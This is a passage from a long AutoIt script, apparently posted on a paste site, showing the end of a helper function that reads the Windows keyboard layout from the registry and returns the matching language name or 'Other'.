  4911.         "180a,1c0a,200a,240a,280a,2c0a,300a,340a,380a,3c0a,400a,440a,480a," & _
  4912.         "4c0a,500a|041d,081d"
  4913.     Local $aLanName = StringSplit("Dutch|English|French|German|Italian|" & _
  4914.         "Norwegian|Polish|Portuguese|Swedish", "|")
  4915.     Local $aLanNum = StringSplit($sLanNum, "|")
  4916.     Local $sLang = StringRight(RegRead("HKCU\Keyboard Layout\Preload","1"), 4)
  4917.     If $sLang = "" Then Return SetError(1, 0, "Not Defined")
  4918.     For $iCC = 1 To UBound($aLanNum) - 1
  4919.         If StringInStr($aLanNum[$iCC], $sLang) Then Return $aLanName[$iCC]
  4920.     Next
  4921.     Return SetError(2, 0, "Other")
  4922. EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement